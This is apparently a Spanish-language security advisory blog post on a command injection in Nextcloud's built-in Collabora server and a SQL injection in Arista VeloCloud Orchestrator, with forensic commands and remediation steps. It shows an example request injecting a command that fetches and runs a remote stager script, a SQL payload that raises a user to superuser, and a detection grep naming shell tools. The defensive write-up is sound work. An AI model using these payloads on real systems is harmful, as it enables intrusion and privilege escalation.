Directivas de Emergencia CISA KEV: RCE en Collabora Online / Nextcloud (CVE-2026-110447) y SQLi en Arista VeloCloud SD-WAN (CVE-2026-114625)

CVE-2026-110447 Collabora Online Nextcloud RCE y CVE-2026-114625 Arista VeloCloud SQLi CISA KEV
📌
Security Roundup Series: Fin de Semana del 26 de Octubre de 2026 • 7 min de lectura deep dive
🚨
Vulnerability Intelligence: CVE ID: CVE-2026-110447 y CVE-2026-114625 (CWE-78 (Inyección de Comandos OS) y CWE-89 (Inyección SQL)) Severity: CRÍTICA (CISA KEV BOD 26-04) (CVSS 9.2 y 9.9) Threat Actor: Grupos de Intrusión Oportunistas y de Espionaje Activos en la Red Status: Explotación Activa en la Naturaleza; Añadidas a CISA KEV el 23–24 de Octubre de 2026 (Plazo Federal: 26 de Octubre de 2026) Affected Systems: Nextcloud Collabora Built-in CODE Server (richdocumentscode < 26.4.303) y Arista VeloCloud Orchestrator (VCO) On-Premises Fixed In: richdocumentscode 26.4.303+ | Arista VCO 5.2.3.18, 6.1.3.10 y 6.4.2.12+

Hoy, lunes 26 de octubre de 2026, vence el estricto plazo federal de 72 horas bajo la Directiva Operativa Vinculante (BOD) 26-04 de CISA para dos vulnerabilidades críticas incorporadas al catálogo KEV al inicio del fin de semana: CVE-2026-110447 (CVSS 9.2), una inyección de comandos del sistema operativo sin autenticación en la aplicación Collabora Online – Built-in CODE Server (richdocumentscode) de Nextcloud, y CVE-2026-114625 (CVSS 9.9), un zero-day de inyección SQL en Arista VeloCloud Orchestrator (VCO). Ambos fallos están bajo explotación activa en la naturaleza: actores de amenazas están desplegando web shells en servidores Nextcloud expuestos para robar bóvedas de contraseñas y billeteras de criptomonedas, mientras secuestran orquestadores SD-WAN para tomar control total de redes corporativas.

Diagrama de Arquitectura de CVE-2026-110447 y CVE-2026-114625
Mecánica de explotación de la inyección de comandos en proxy.php de Collabora Online (CVE-2026-110447) y la inyección SQL en Arista VeloCloud Orchestrator (CVE-2026-114625).

Parte 1: Diseccionando CVE-2026-110447 en Collabora Online Built-in CODE Server

Para permitir la edición colaborativa de documentos en Nextcloud sin aprovisionar un contenedor Docker externo, la aplicación richdocumentscode empaqueta el servidor Collabora Online Development Edition (CODE) como un binario Linux AppImage dentro del directorio web de Nextcloud. Todas las solicitudes WOPI y WebSocket pasan por apps/richdocumentscode/proxy.php, que actúa como proxy hacia el puerto local (127.0.0.1:9983) e inicia automáticamente el proceso AppImage si no está en ejecución.

Causa Raíz: Ejecución Sin Autenticación Cuando el Demonio CODE Está Detenido

El fallo crítico en versiones de richdocumentscode anteriores a la 26.4.303 ocurre cuando el proceso local del servidor CODE está detenido (por ejemplo, tras un reinicio del servidor, recarga de PHP-FPM o caída por falta de memoria):

  1. Omisión del Middleware de Autenticación de Nextcloud: Para reducir la latencia de red, proxy.php opera como un punto de entrada directo que no exige una sesión autenticada de Nextcloud antes de verificar el estado del demonio CODE.
  2. Inyección de Argumentos en la Invocación de Shell: Cuando proxy.php detecta que el servidor CODE no está activo y recibe una petición de arranque/estado, construye una cadena de comando para lanzar el AppImage pasando parámetros de la solicitud directamente a exec() / popen() sin aplicar escapeshellarg().
GET /apps/richdocumentscode/proxy.php?status&template_path=%27%3Bcurl+-s+http%3A%2F%2F198.51.100.44%2Fstager.sh%7Csh%3B%27 HTTP/1.1
Host: cloud.empresa-objetivo.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*

Las instalaciones independientes de Collabora Online (en Docker o paquetes Linux dedicados) y los servidores Nextcloud que solo utilizan el conector richdocuments sin richdocumentscode no están afectados. Sin embargo, en servidores vulnerables, los atacantes han utilizado este vector para instalar web shells PHP persistentes, extraer config/config.php y robar archivos KeePass (.kdbx) y semillas de criptomonedas.


Parte 2: Zero-Day de Inyección SQL en Arista VeloCloud Orchestrator (CVE-2026-114625)

Junto con CVE-2026-110447, CISA añadió CVE-2026-114625 (BUG2043622, CVSS 9.9 Crítica) al catálogo KEV el 23 de octubre de 2026. Arista VeloCloud Orchestrator (VCO) es el plano de control centralizado para redes SD-WAN empresariales.

De Cuenta de Solo Lectura a Superusuario Operador SD-WAN

La vulnerabilidad reside en la API del portal web de implementaciones locales (on-premises) de VCO. Aunque requiere autenticación inicial, basta con el nivel de privilegio más bajo posible: Enterprise Read-Only (un rol de solo lectura frecuentemente asignado a operadores de monitoreo NOC o auditores).

POST /portal/rest/enterprise/getEnterpriseEvents HTTP/1.1
Host: vco.red-empresarial.net
Cookie: velocloud.session=s%3A8f92a1c4...
Content-Type: application/json

{
  "enterpriseId": 14,
  "filter": {
    "sortBy": "eventTime ASC; UPDATE vco_user_role SET role_id = 1 WHERE user_id = 409; --",
    "limit": 10
  }
}

Al concatenar parámetros de filtrado directamente en una consulta SQL sin parametrización, el atacante puede modificar las tablas RBAC para elevar su sesión a Superuser Operator, obteniendo control absoluto sobre las políticas de enrutamiento y túneles IPsec de todas las sucursales.

Telemetría de Detección y Triaje Forense

🔍
Comandos Forenses en Linux y SQL para CVE-2026-110447 y CVE-2026-114625 # 1. Nextcloud / Collabora: Buscar peticiones sospechosas a proxy.php en logs de Nginx/Apache grep -E "richdocumentscode/proxy.php" /var/log/nginx/access.log* /var/log/apache2/access.log* | grep -E "(;|%3B|||%7C|`|%60|$(|wget|curl|sh|bash|base64)" # 2. Nextcloud: Escanear directorios de aplicaciones en busca de web shells PHP recientes find /var/www/nextcloud/apps /var/www/nextcloud/custom_apps -name "*.php" -mtime -45 -ls # 3. Arista VeloCloud VCO: Auditar la base de datos en busca de promociones a Superuser Operator mysql -u root -p vco_db -e "SELECT u.id, u.username, u.email, r.role_name, u.modified_at FROM vco_user u JOIN vco_role r ON u.role_id = r.id WHERE r.role_name LIKE '%Operator%' OR r.id = 1 ORDER BY u.modified_at DESC;"

Pasos de Remediación

  1. Actualizar o Eliminar richdocumentscode de Inmediato: Ejecute sudo -u www-data php occ app:update richdocumentscode para actualizar a la versión 26.4.303 o superior. Si no necesita el servidor integrado, desinstálelo por completo con sudo -u www-data php occ app:remove richdocumentscode y verifique que la carpeta apps/richdocumentscode/ sea eliminada del disco.
  2. Rotar Secretos de Nextcloud: Si su instancia estuvo expuesta, rote las credenciales de base de datos en config/config.php e invalide todas las sesiones activas.
  3. Actualizar Arista VeloCloud Orchestrator: Actualice VCO inmediatamente a las versiones 5.2.3.18, 6.1.3.10 o 6.4.2.12+ y restrinja el acceso al portal de administración mediante listas blancas de IP y MFA FIDO2.

Read more

Guía de Blindaje Empresarial para el Black October Runtimes Políglotas ESXi VMDK y Sandboxes de IA

Guía de Blindaje Empresarial para el "Black October": Protección de Runtimes Políglotas, Integridad .pth en Python, Cifrado VMDK en ESXi y Sandboxes de IA

📌Security Roundup Series: Fin de Semana del 26 de Octubre de 2026 • 8 min de lectura deep dive🛡️Vulnerability Intelligence: CVE ID: ARQUITECTURA DE DEFENSA EN PROFUNDIDAD (Seguridad de Memoria en Runtimes, Integridad de Cadena de Suministro, Aislamiento ESXi y Contención de IA) Severity: MANUAL ESTRATÉGICO Y DE INGENIERÍA (CVSS

By James Luther
SafePay AA26-293A Emperador Ransomware AB InBev Capcom ID 11.77M y PingCAP TiDB Cloud

Forense de Ransomware y Megabrechas: Alerta SafePay de CISA (AA26-293A), Emperador Ataca a AB InBev, Capcom ID (11.77M) y PingCAP TiDB Cloud

📌Security Roundup Series: Fin de Semana del 26 de Octubre de 2026 • 7 min de lectura deep dive🏛️Incident Overview: Target / Organization: Objetivos Globales: SafePay (600+ Organizaciones), AB InBev, Capcom ID (11.77M), PingCAP TiDB Cloud, CenterPoint Energy (7.49M) y Burger King Japón (11.18M) Threat Actor / Attribution: Grupo

By James Luther
Cadena KEV Plex2Shell Siemens Romulus CVE-2026-110936 FortiSIEM CVE-2026-106173 y Cisco Expressway

Cadenas de Exploits Empresariales y KEV: RCE en Plex2Shell, DLL Sideloading "Romulus" en Siemens (CVE-2026-110936), FortiSIEM gRPC y Cisco Expressway

📌Security Roundup Series: Fin de Semana del 26 de Octubre de 2026 • 7 min de lectura deep dive🛡️Vulnerability Intelligence: CVE ID: CVE-2026-96652..96656, CVE-2026-110936, CVE-2026-106173 y CVE-2026-76466 (CWE-918 (SSRF), CWE-427 (Ruta de Búsqueda No Controlada), CWE-22 (Path Traversal) y CWE-295 (Validación TLS)) Severity: CRÍTICA (CISA KEV E INFRAESTRUCTURA EMPRESARIAL)

By James Luther
CVE-2026-91403 Crisis WebPKI de eMudhra Claves Privadas de 8 Bits y Revocación en Oracle Java SE

CVE-2026-91403 y la Crisis WebPKI de eMudhra: Cómo Claves Privadas de 8 Bits (< 256) Forzaron Revocaciones de Emergencia en Java y Sistemas Operativos

📌Security Roundup Series: Fin de Semana del 26 de Octubre de 2026 • 6 min de lectura deep dive🚨Vulnerability Intelligence: CVE ID: CVE-2026-91403 (CWE-331 / CWE-326 (Entropía Insuficiente / Fuerza de Cifrado Inadecuada)) Severity: CRÍTICA (EMERGENCIA CRIPTOGRÁFICA WEBPKI) (CVSS 9.1) Threat Actor: Cualquier Adversario con Capacidad de Interceptación TLS MitM o

By James Luther